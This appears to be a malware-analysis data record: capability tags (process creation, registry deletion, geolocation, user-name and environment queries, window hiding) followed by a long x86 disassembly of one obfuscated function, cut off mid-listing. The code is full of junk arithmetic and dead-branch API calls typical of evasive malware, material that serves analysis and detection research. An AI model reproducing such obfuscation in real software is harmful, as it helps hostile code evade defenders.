Function at 0x44f69b
Capabilities:
Create process on windows
Delete registry value
Get geographical location
Get session user name
Hide graphical window
Query environment variable
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3b00
call fcn.00487a30
push esi
push edi
mov dword [ebp - 0x2270], 0x1cecb457
mov dword [ebp - 0x9f8], 1
mov dword [ebp - 0x2250], 0xe356
mov dword [ebp - 0x9f0], 6
mov dword [ebp - 0x9e8], 0
mov dword [ebp - 0xa58], 0xffffffff
mov dword [ebp - 0x150], 0
jmp 0x44f6ff
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 3
jge 0x44f71b
mov eax, dword [ebp - 0x150]
mov dword [ebp + eax*4 - 0x2950], 0x43046b6e
jmp 0x44f6f2
mov dword [ebp - 0x150], 0
jmp 0x44f734
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 3
jge 0x44f750
mov eax, dword [ebp - 0x150]
mov dword [ebp + eax*4 - 0x2940], 6
jmp 0x44f727
mov eax, dword [ebp - 0x9e8]
mov dword [ebp - 0x2ff4], eax
mov eax, dword [ebp - 0x9e8]
mov dword [ebp - 0x2f90], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2940], 0
ja 0x44f784
mov dword [ebp - 0x1978], 1
jmp 0x44f78b
and dword [ebp - 0x1978], 0
mov eax, dword [ebp - 0x1978]
sub eax, dword [ebp - 0x2250]
sub eax, 0x6bc712ba
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0x2940]
je 0x44f7b6
mov dword [ebp - 0x2228], 1
jmp 0x44f7bd
and dword [ebp - 0x2228], 0
cmp dword [ebp - 0x2228], 0x32e0c280
jle 0x44f7d5
mov dword [ebp - 0x2230], 1
jmp 0x44f7dc
and dword [ebp - 0x2230], 0
cmp dword [ebp - 0x2230], 0xfffffffb
jle 0x44f7f1
mov dword [ebp - 0x2238], 1
jmp 0x44f7f8
and dword [ebp - 0x2238], 0
mov eax, dword [ebp - 0x2238]
mov dword [ebp - 0x9f8], eax
mov eax, dword [ebp - 0x9e8]
cmp dword [ebp - 0x9f8], eax
jle 0x44f81e
mov dword [ebp - 0x2240], 1
jmp 0x44f825
and dword [ebp - 0x2240], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2940]
cmp dword [ebp - 0x2240], eax
je 0x44f846
mov dword [ebp - 0x2248], 1
jmp 0x44f84d
and dword [ebp - 0x2248], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2950]
mov dword [ebp - 0x2258], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2258]
mov dword [ebp + eax - 0x2950], ecx
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x9e8]
add ecx, dword [ebp - 0x2248]
imul ecx, dword [ebp - 0x2250]
imul ecx, dword [ebp + eax - 0x2940]
mov eax, dword [ebp - 0x2258]
sub eax, ecx
mov ecx, dword [ebp - 0x9f0]
mov edx, dword [ebp - 0x9f0]
dec edx
mov dword [ebp - 0x9f0], edx
cmp ecx, eax
jle 0x44f8cf
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2950], 0
je 0x44f8cf
mov dword [ebp - 0x2260], 1
jmp 0x44f8d6
and dword [ebp - 0x2260], 0
mov eax, dword [ebp - 0x2270]
cmp eax, dword [ebp - 0x2260]
jle 0x44f8f0
mov dword [ebp - 0x2268], 1
jmp 0x44f8f7
and dword [ebp - 0x2268], 0
mov eax, dword [ebp - 0x2268]
mov dword [ebp - 0x2270], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2940]
mov dword [ebp - 0x2f98], eax
mov eax, dword [ebp - 0x9f0]
cmp dword [ebp - 0xa58], eax
je 0x44f953
mov eax, dword [ebp - 0xa58]
mov dword [ebp - 0x2fa0], eax
mov eax, 0x7e9a
test eax, eax
jne 0x44f93e
or eax, 0xffffffff
je 0x44f953
cmp dword [ebp - 0xa58], 0
je 0x44f953
mov dword [ebp - 0x2278], 1
jmp 0x44f95a
and dword [ebp - 0x2278], 0
cmp dword [ebp - 0x2278], 0x6652f521
jge 0x44f972
mov dword [ebp - 0x2280], 1
jmp 0x44f979
and dword [ebp - 0x2280], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2950]
imul eax, dword [ebp - 0x2280]
mov dword [ebp - 0x9f8], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x9f8]
mov dword [ebp + eax - 0x2950], ecx
mov dword [ebp - 0x2f0], 0x3d2d
mov dword [ebp - 0x2f8], 0x34bd
mov dword [ebp - 0x1c54], 0x5a165f5c
mov dword [ebp - 0xb7c], 0x4694486c
mov dword [ebp - 0x2328], 6
cmp dword [ebp - 0x2f8], 0
je 0x44f9eb
mov dword [ebp - 0x2288], 1
jmp 0x44f9f2
and dword [ebp - 0x2288], 0
mov eax, dword [ebp - 0x2288]
neg eax
add eax, 0x42f88d96
cmp eax, 0xb2b534de
jne 0x44fa12
mov dword [ebp - 0x2290], 1
jmp 0x44fa19
and dword [ebp - 0x2290], 0
mov eax, dword [ebp - 0x2290]
neg eax
jne 0x44fa2f
mov dword [ebp - 0x2298], 1
jmp 0x44fa36
and dword [ebp - 0x2298], 0
cmp dword [ebp - 0x2298], 0x7b3
je 0x44fa4e
mov dword [ebp - 0x22a0], 1
jmp 0x44fa55
and dword [ebp - 0x22a0], 0
mov eax, dword [ebp - 0x22a0]
sub eax, dword [ebp - 0x2f8]
cmp eax, dword [ebp - 0x2f0]
jg 0x44fa75
mov dword [ebp - 0x22a8], 1
jmp 0x44fa7c
and dword [ebp - 0x22a8], 0
mov eax, dword [ebp - 0x22a8]
inc eax
jne 0x44faa0
mov eax, 0xed162c5d
test eax, eax
jne 0x44faa0
cmp dword [ebp - 0x2f0], 0
jne 0x44faa0
and dword [ebp - 0x2310], 0
jmp 0x44faaa
mov dword [ebp - 0x2310], 1
cmp dword [ebp - 0x2310], 0x64ce
jle 0x44fac2
mov dword [ebp - 0x2318], 1
jmp 0x44fac9
and dword [ebp - 0x2318], 0
cmp dword [ebp - 0x2318], 1
jl 0x44fade
mov dword [ebp - 0x2320], 1
jmp 0x44fae5
and dword [ebp - 0x2320], 0
mov eax, dword [ebp - 0x2320]
inc eax
je 0x44fcd3
mov dword [ebp - 0x2d60], 0
mov dword [ebp - 0x2d5c], 0
mov dword [ebp - 0x2d58], 0
mov dword [ebp - 0x2d54], 0
mov dword [ebp - 0x2330], 0x7a051aaf
mov dword [ebp - 0x24cc], 0xffffffff
mov dword [ebp - 0xa00], 0
jmp 0x44fb47
mov eax, dword [ebp - 0xa00]
inc eax
mov dword [ebp - 0xa00], eax
cmp dword [ebp - 0xa00], 2
jge 0x44fb63
mov eax, dword [ebp - 0xa00]
mov dword [ebp + eax*4 - 0x2494], 0xa0cd95ff
jmp 0x44fb3a
mov dword [ebp - 0x2f0], 0
jmp 0x44fb7c
mov eax, dword [ebp - 0x2f0]
inc eax
mov dword [ebp - 0x2f0], eax
cmp dword [ebp - 0x2f0], 2
jge 0x44fb98
mov eax, dword [ebp - 0x2f0]
mov dword [ebp + eax*4 - 0x2494], 0xffffffff
jmp 0x44fb6f
cmp dword [ebp - 0x1c54], 0
jne 0x44fc72
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2494]
mov dword [ebp - 0x2fa8], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2494]
mov dword [ebp - 0x2328], eax
mov eax, dword [ebp - 0x2328]
sub eax, 0xa
mov dword [ebp - 0x2330], eax
cmp dword [ebp - 0x2330], 5
jne 0x44fbef
mov dword [ebp - 0x2338], 1
jmp 0x44fbf6
and dword [ebp - 0x2338], 0
mov eax, dword [ebp - 0x2338]
sub eax, 0xb5c7
cmp eax, dword [ebp - 0xb7c]
jne 0x44fc15
mov dword [ebp - 0x2398], 1
jmp 0x44fc1c
and dword [ebp - 0x2398], 0
mov eax, dword [ebp - 0xb7c]
mov dword [ebp - 0x2390], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x2390]
mov dword [ebp + eax - 0x2d60], ecx
mov eax, dword [ebp - 0x2390]
cmp eax, dword [ebp - 0x2398]
jle 0x44fc54
mov dword [ebp - 0x23a0], 1
jmp 0x44fc5b
and dword [ebp - 0x23a0], 0
mov eax, dword [ebp - 0xb7c]
cmp dword [ebp - 0x23a0], eax
jg 0x44fc72
and dword [ebp - 0xc84], 0
jmp 0x44fc7c
mov dword [ebp - 0xc84], 1
mov eax, dword [ebp - 0x1c54]
cmp dword [ebp - 0xc84], eax
je 0x44fc96
mov dword [ebp - 0x1c5c], 1
jmp 0x44fc9d
and dword [ebp - 0x1c5c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2494]
cmp dword [ebp - 0x1c5c], eax
je 0x44fcbe
mov dword [ebp - 0xc8c], 1
jmp 0x44fcc5
and dword [ebp - 0xc8c], 0
mov eax, dword [ebp - 0xc8c]
mov dword [ebp - 0x24cc], eax
jmp 0x44fd30
mov dword [ebp - 0x2e00], 0xa7c3387d
mov dword [ebp - 0x2dfc], 0xa7c3387d
mov dword [ebp - 0x2df8], 0xa7c3387d
mov dword [ebp - 0x2df4], 0xa7c3387d
mov dword [ebp - 0x2f8], 0
jmp 0x44fd14
mov eax, dword [ebp - 0x2f8]
inc eax
mov dword [ebp - 0x2f8], eax
cmp dword [ebp - 0x2f8], 4
jge 0x44fd30
mov eax, dword [ebp - 0x2f8]
mov dword [ebp + eax*4 - 0x2e00], 0xeb1f0cf
jmp 0x44fd07
mov dword [ebp - 0x8c], 0xba76aabe
mov dword [ebp - 0xa08], 0
jmp 0x44fd53
mov eax, dword [ebp - 0xa08]
inc eax
mov dword [ebp - 0xa08], eax
cmp dword [ebp - 0xa08], 2
jge 0x44fd6f
mov eax, dword [ebp - 0xa08]
mov dword [ebp + eax*4 - 0x22b4], 1
jmp 0x44fd46
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x1c64], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1c64]
mov dword [ebp + eax - 0x22b4], ecx
mov eax, dword [ebp - 0x8c]
cmp dword [ebp - 0x1c64], eax
jne 0x44ffe5
mov dword [ebp - 0xb8c], 0x3a3dbc56
mov dword [ebp - 0xa10], 0
jmp 0x44fdc3
mov eax, dword [ebp - 0xa10]
inc eax
mov dword [ebp - 0xa10], eax
cmp dword [ebp - 0xa10], 4
jge 0x44fddf
mov eax, dword [ebp - 0xa10]
mov dword [ebp + eax*4 - 0x3914], 3
jmp 0x44fdb6
mov dword [ebp - 0x8c], 0xfffffff3
jmp 0x44fdf8
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0x3c
je 0x44ffb5
mov dword [ebp - 0xb94], 0xffffffff
mov dword [ebp - 0x2698], 0x86fa
mov dword [ebp - 0x26a0], 7
cmp dword [ebp - 0x8c], 0
jne 0x44fe43
mov eax, dword [ebp - 0xb8c]
cmp dword [ebp - 0x8c], eax
jne 0x44fe43
and dword [ebp - 0xc9c], 0
jmp 0x44fe4d
mov dword [ebp - 0xc9c], 1
mov eax, dword [ebp - 0x8c]
sub eax, dword [ebp - 0xb94]
jne 0x44fe74
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x22b4], 0
jne 0x44fe74
and dword [ebp - 0xc94], 0
jmp 0x44fe7e
mov dword [ebp - 0xc94], 1
mov eax, dword [ebp - 0x8c]
cmp dword [ebp - 0xc94], eax
jge 0x44fe98
mov dword [ebp - 0xb84], 1
jmp 0x44fe9f
and dword [ebp - 0xb84], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xb84]
mov dword [ebp + eax - 0x3914], ecx
mov eax, dword [ebp - 0xb8c]
cmp dword [ebp - 0xb84], eax
jne 0x44fecc
mov dword [ebp - 0x1c6c], 1
jmp 0x44fed3
and dword [ebp - 0x1c6c], 0
mov eax, dword [ebp - 0xb94]
add eax, dword [ebp - 0x1c6c]
cmp eax, dword [ebp - 0xb8c]
je 0x44fef3
mov dword [ebp - 0x1c74], 1
jmp 0x44fefa
and dword [ebp - 0x1c74], 0
mov eax, dword [ebp - 0xc9c]
cmp eax, dword [ebp - 0x1c74]
jg 0x44ff14
mov dword [ebp - 0x2690], 1
jmp 0x44ff1b
and dword [ebp - 0x2690], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x22b4], 0x5c2f1fcc
jne 0x44ff3a
mov dword [ebp - 0xca4], 1
jmp 0x44ff41
and dword [ebp - 0xca4], 0
mov eax, dword [ebp - 0x2698]
cmp dword [ebp - 0xca4], eax
jg 0x44ff64
cmp dword [ebp - 0x26a0], 0
je 0x44ff64
mov dword [ebp - 0x1c7c], 1
jmp 0x44ff6b
and dword [ebp - 0x1c7c], 0
cmp dword [ebp - 0x1c7c], 0xfff9
jae 0x44ff83
mov dword [ebp - 0xcac], 1
jmp 0x44ff8a
and dword [ebp - 0xcac], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xcac]
mov dword [ebp + eax - 0x22b4], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x22b4]
mov dword [ebp - 0xb94], eax
jmp 0x44fdeb
mov byte [ebp - 0x4a2], 0
movzx eax, byte [ebp - 0x4a2]
test eax, eax
je 0x44ffe0
push 0xd83
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
jmp 0x45008e
mov dword [ebp - 0x2bcc], 0x2606
mov dword [ebp - 0x2bc8], 0x2606
mov dword [ebp - 0x2bc4], 0x2606
mov dword [ebp - 0x2bc0], 0x2606
mov byte [ebp - 0x472], 0
movzx eax, byte [ebp - 0x472]
test eax, eax
je 0x45002e
push 0
push 0xf2b
push 0
call dword [sym.imp.GDI32.dll_GetMetaFileBitsEx]
mov dword [ebp - 0x8c], 0xffffffea
jmp 0x450047
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 9
jge 0x45008e
mov byte [ebp - 0x3c1], 0
movzx eax, byte [ebp - 0x3c1]
test eax, eax
je 0x450073
push 1
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowRgn]
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2bcc]
dec eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x2bcc], eax
jmp 0x45003a
mov dword [ebp - 0x1dfc], 0x1cecb457
mov dword [ebp - 0x858], 1
mov dword [ebp - 0x1c84], 0xffffffff
mov dword [ebp - 0x2be4], 0xfffffff9
mov dword [ebp - 0x2be0], 0xfffffff9
mov dword [ebp - 0x2bdc], 0xfffffff9
mov dword [ebp - 0x2bd8], 0xfffffff9
mov dword [ebp - 0xa18], 0
jmp 0x4500ed
mov eax, dword [ebp - 0xa18]
inc eax
mov dword [ebp - 0xa18], eax
cmp dword [ebp - 0xa18], 3
jge 0x450109
mov eax, dword [ebp - 0xa18]
mov dword [ebp + eax*4 - 0xc50], 1
jmp 0x4500e0
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0xc50], 0
jmp 0x450134
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xc50]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0xc50], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xc50], 0x1a
jg 0x45015d
mov byte [ebp - 0x474], 0
movzx eax, byte [ebp - 0x474]
test eax, eax
je 0x45015b
call dword [sym.imp.USER32.dll_GetCapture]
jmp 0x45011b
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xc50]
mov dword [ebp - 0x2fb0], eax
mov dword [ebp - 0x1c84], 1
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xc50]
cmp eax, dword [ebp - 0x1c84]
jl 0x450199
mov dword [ebp - 0x1c8c], 1
jmp 0x4501a0
and dword [ebp - 0x1c8c], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x2be4]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0xc50]
jl 0x4501c9
mov dword [ebp - 0xcb4], 1
jmp 0x4501d0
and dword [ebp - 0xcb4], 0
cmp dword [ebp - 0xcb4], 0xffffffff
jge 0x4501e5
mov dword [ebp - 0xcbc], 1
jmp 0x4501ec
and dword [ebp - 0xcbc], 0
mov eax, dword [ebp - 0x1c8c]
cmp eax, dword [ebp - 0xcbc]
jge 0x450206
mov dword [ebp - 0x1c94], 1
jmp 0x45020d
and dword [ebp - 0x1c94], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x2be4]
imul eax, dword [ebp - 0x1c94]
push 4
pop ecx
shl ecx, 1
imul eax, dword [ebp + ecx - 0xc50]
push 4
pop eax
shl eax, 1
push 4
pop ecx
shl ecx, 1
mov eax, dword [ebp + eax - 0xc50]
mov dword [ebp + ecx - 0xc50], eax
mov dword [ebp - 0x278], 0x2c03342e
mov dword [ebp - 0x26b0], 5
mov dword [ebp - 0x26a8], 1
mov dword [ebp - 0x2fb8], 0xe55b65ab
mov dword [ebp - 0xccc], 0xfffffff7
mov dword [ebp - 0x2fc0], 0xfffffffa
mov dword [ebp - 0x61c], 0
mov dword [ebp - 0x264], 0
jmp 0x4502a5
mov eax, dword [ebp - 0x264]
inc eax
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 2
jge 0x4502c1
mov eax, dword [ebp - 0x264]
mov dword [ebp + eax*4 - 0x22c0], 0xc69a
jmp 0x450298
mov dword [ebp - 0x264], 0
jmp 0x4502da
mov eax, dword [ebp - 0x264]
inc eax
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 4
jge 0x4502f6
mov eax, dword [ebp - 0x264]
mov dword [ebp + eax*4 - 0x36d0], 0x9934b0b4
jmp 0x4502cd
mov dword [ebp - 0x278], 0x1b
jmp 0x45030f
mov eax, dword [ebp - 0x278]
dec eax
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 0x12
jg 0x4503a5
mov dword [ebp - 0xa20], 0xc4530722
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x22c0], 0
je 0x450338
jmp 0x4503a5
mov dword [ebp - 0xa20], 0
jmp 0x450351
mov eax, dword [ebp - 0xa20]
dec eax
mov dword [ebp - 0xa20], eax
cmp dword [ebp - 0xa20], 0xffffffe4
jl 0x4503a0
mov byte [ebp - 0x3c9], 0
movzx eax, byte [ebp - 0x3c9]
test eax, eax
je 0x45039e
push 0xad4
push 0x22fd
push 0x1cc6
push 0x1f99
push 0x1d3e
push 0x2017
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RoundRect]
jmp 0x450344
jmp 0x450302
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x22c0]
mov dword [ebp - 0x2fc8], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x22c0], 0
jne 0x45047d
mov eax, dword [ebp - 0x61c]
mov ecx, dword [ebp - 0x61c]
dec ecx
mov dword [ebp - 0x61c], ecx
test eax, eax
jne 0x45047d
cmp dword [ebp - 0xccc], 0
je 0x4503f7
cmp dword [ebp - 0x61c], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x36d0]
mov dword [ebp - 0x2fd0], eax
mov eax, 0x5fe9
sub eax, 0xd2
cmp dword [ebp - 0x26a8], eax
jg 0x450428
mov dword [ebp - 0xcc4], 1
jmp 0x45042f
and dword [ebp - 0xcc4], 0
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0xcc4]
mov dword [ebp + eax - 0x36d0], ecx
mov eax, dword [ebp - 0x278]
cmp dword [ebp - 0x61c], eax
jg 0x45045c
mov dword [ebp - 0x1c9c], 1
jmp 0x450463
and dword [ebp - 0x1c9c], 0
mov eax, dword [ebp - 0x1c9c]
mov dword [ebp - 0x278], eax
mov eax, dword [ebp - 0xccc]
cmp dword [ebp - 0x278], eax
jne 0x45048a
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x36d0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x22c0]
sub eax, dword [ebp - 0x278]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x22c0]
je 0x4504be
mov eax, 0xc4d7e3c2
test eax, eax
jne 0x4504be
and dword [ebp - 0x1ca4], 0
jmp 0x4504c8
mov dword [ebp - 0x1ca4], 1
mov eax, dword [ebp - 0x1ca4]
mov dword [ebp - 0x26b0], eax
mov dword [ebp - 0x1dec], 0xe356
mov dword [ebp - 0x550], 0x5c68ec0a
mov dword [ebp - 0xcc], 1
mov dword [ebp - 0x558], 8
mov dword [ebp - 0xa28], 0
jmp 0x450515
mov eax, dword [ebp - 0xa28]
inc eax
mov dword [ebp - 0xa28], eax
cmp dword [ebp - 0xa28], 1
jge 0x450531
mov eax, dword [ebp - 0xa28]
mov dword [ebp + eax*4 - 0x2fd8], 0xa3fda37b
jmp 0x450508
mov dword [ebp - 0x550], 0
jmp 0x45054a
mov eax, dword [ebp - 0x550]
inc eax
mov dword [ebp - 0x550], eax
cmp dword [ebp - 0x550], 0x1b
jl 0x45082b
mov dword [ebp - 0xce4], 0xfffffffb
mov dword [ebp - 0x26c0], 0x1521fafb
mov dword [ebp - 0x158], 0
jmp 0x450584
mov eax, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 2
jge 0x4505a0
mov eax, dword [ebp - 0x158]
mov dword [ebp + eax*4 - 0x27b4], 0
jmp 0x450577
mov dword [ebp - 0x158], 0
jmp 0x4505b9
mov eax, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 4
jge 0x4505d5
mov eax, dword [ebp - 0x158]
mov dword [ebp + eax*4 - 0x2a44], 0xfffffffd
jmp 0x4505ac
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x2a44], 0
jmp 0x450603
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2a44]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x2a44], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2a44], 1
jg 0x4507de
mov dword [ebp - 0x2cc], 0xfffffffc
mov dword [ebp - 0x2cc], 1
jmp 0x45063a
mov eax, dword [ebp - 0x2cc]
dec eax
mov dword [ebp - 0x2cc], eax
cmp dword [ebp - 0x2cc], 0
jl 0x4507d9
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2a44]
cmp dword [ebp + eax*4 - 0x27b4], 0
jne 0x45066a
mov dword [ebp - 0x1cbc], 1
jmp 0x450671
and dword [ebp - 0x1cbc], 0
mov eax, dword [ebp - 0x2cc]
mov dword [ebp - 0x2fe0], eax
cmp dword [ebp - 0x550], 0
jne 0x450698
cmp dword [ebp - 0x2cc], 0
jne 0x450698
and dword [ebp - 0x26b8], 0
jmp 0x4506a2
mov dword [ebp - 0x26b8], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2a44]
mov eax, dword [ebp + eax*4 - 0x27b4]
mov dword [ebp - 0x2fe8], eax
mov dword [ebp - 0xcc], 0xf2d6273
cmp dword [ebp - 0xcc], 0xdb84c6a3
jne 0x4506de
mov dword [ebp - 0xcd4], 1
jmp 0x4506e5
and dword [ebp - 0xcd4], 0
cmp dword [ebp - 0xcd4], 0xc869b7d6
jb 0x4506fd
mov dword [ebp - 0x1cac], 1
jmp 0x450704
and dword [ebp - 0x1cac], 0
cmp dword [ebp - 0x1cac], 7
jb 0x450719
mov dword [ebp - 0xcdc], 1
jmp 0x450720
and dword [ebp - 0xcdc], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x27b4]
cmp eax, dword [ebp - 0xcdc]
je 0x450741
mov dword [ebp - 0x1cb4], 1
jmp 0x450748
and dword [ebp - 0x1cb4], 0
mov eax, dword [ebp - 0x2cc]
sub eax, dword [ebp - 0x1cb4]
sub eax, dword [ebp - 0xce4]
mov dword [ebp - 0x558], eax
mov eax, dword [ebp - 0x558]
mov dword [ebp - 0x2ff0], eax
mov eax, dword [ebp - 0x550]
mov dword [ebp - 0x2ff8], eax
mov eax, dword [ebp - 0x2cc]
cmp dword [ebp - 0xce4], eax
jl 0x450792
mov dword [ebp - 0xcec], 1
jmp 0x450799
and dword [ebp - 0xcec], 0
mov eax, dword [ebp - 0x1cbc]
imul eax, dword [ebp - 0xcec]
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x2a44]
je 0x4507c1
mov dword [ebp - 0x1cc4], 1
jmp 0x4507c8
and dword [ebp - 0x1cc4], 0
mov eax, dword [ebp - 0x1cc4]
mov dword [ebp - 0x26c0], eax
jmp 0x45062d
jmp 0x4505e8
mov dword [ebp - 0xcc], 0
jmp 0x4507f7
mov eax, dword [ebp - 0xcc]
dec eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0xffffffff
je 0x450826
mov byte [ebp - 0x476], 0
movzx eax, byte [ebp - 0x476]
test eax, eax
je 0x450824
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
jmp 0x4507ea
jmp 0x45053d
mov dword [ebp - 0xcc], 0
jmp 0x450844
mov eax, dword [ebp - 0xcc]
dec eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0xfffffff9
jne 0x450894
mov dword [ebp - 0xcf4], 0x2afe2499
mov dword [ebp - 0x558], 0
jmp 0x450870
mov eax, dword [ebp - 0x558]
dec eax
mov dword [ebp - 0x558], eax
cmp dword [ebp - 0x558], 0
jl 0x450887
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0xcf4], eax
jmp 0x450863
cmp dword [ebp - 0xcf4], 0
je 0x450892
jmp 0x450894
jmp 0x450837
mov dword [ebp - 0x6a0], 6
mov dword [ebp - 0x850], 0
mov dword [ebp - 0x280], 3
mov dword [ebp - 0x26c8], 0x8af8716b
mov dword [ebp - 0xa38], 0
jmp 0x4508d5
mov eax, dword [ebp - 0xa38]
inc eax
mov dword [ebp - 0xa38], eax
cmp dword [ebp - 0xa38], 2
jge 0x4508f1
mov eax, dword [ebp - 0xa38]
mov dword [ebp + eax*4 - 0x2b84], 0x97515801
jmp 0x4508c8
mov byte [ebp - 0x3d1], 0
movzx eax, byte [ebp - 0x3d1]
test eax, eax
je 0x45090b
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
cmp dword [ebp - 0x280], 1
jne 0x450920
mov dword [ebp - 0x1ccc], 1
jmp 0x450927
and dword [ebp - 0x1ccc], 0
mov eax, dword [ebp - 0x280]
imul eax, dword [ebp - 0x1ccc]
cmp eax, 2
ja 0x450945
mov dword [ebp - 0xcfc], 1
jmp 0x45094c
and dword [ebp - 0xcfc], 0
mov eax, dword [ebp - 0x280]
cmp dword [ebp - 0xcfc], eax
jg 0x450966
mov dword [ebp - 0x1cd4], 1
jmp 0x45096d
and dword [ebp - 0x1cd4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1cd4]
mov dword [ebp + eax - 0x2b84], ecx
mov eax, dword [ebp - 0x280]
mov dword [ebp - 0x3000], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2b84]
mov dword [ebp - 0x3008], eax
imul eax, dword [ebp - 0x280], 0x713e
cmp eax, 0x2509e71b
jl 0x4509bd
xor eax, eax
jne 0x4509bd
and dword [ebp - 0xd04], 0
jmp 0x4509c7
mov dword [ebp - 0xd04], 1
mov eax, dword [ebp - 0x280]
cmp dword [ebp - 0xd04], eax
jge 0x4509e1
mov dword [ebp - 0x1cdc], 1
jmp 0x4509e8
and dword [ebp - 0x1cdc], 0
mov eax, dword [ebp - 0x280]
cmp eax, dword [ebp - 0x1cdc]
jge 0x450a02
mov dword [ebp - 0xd0c], 1
jmp 0x450a09
and dword [ebp - 0xd0c], 0
mov eax, dword [ebp - 0x280]
imul eax, dword [ebp - 0xd0c]
mov dword [ebp - 0x26c8], eax
mov dword [ebp - 0xbbc], 0xffffffff
mov dword [ebp - 0x108], 7
mov dword [ebp - 0x680], 0xf5fa3187
mov dword [ebp - 0xb9c], 0xffffffff
mov dword [ebp - 0x214], 1
mov dword [ebp - 0xa04], 0
jmp 0x450a67
mov eax, dword [ebp - 0xa04]
inc eax
mov dword [ebp - 0xa04], eax
cmp dword [ebp - 0xa04], 3
jge 0x450a83
mov eax, dword [ebp - 0xa04]
mov dword [ebp + eax*4 - 0x2348], 0x4a8c
jmp 0x450a5a
mov dword [ebp - 0x108], 0
jmp 0x450a9c
mov eax, dword [ebp - 0x108]
inc eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 2
jg 0x450ac1
mov eax, dword [ebp - 0x108]
mov ecx, dword [ebp - 0x108]
mov eax, dword [ebp + eax*4 - 0x2348]
mov dword [ebp + ecx*4 - 0x2348], eax
jmp 0x450a8f
push 4
pop eax
shl eax, 0
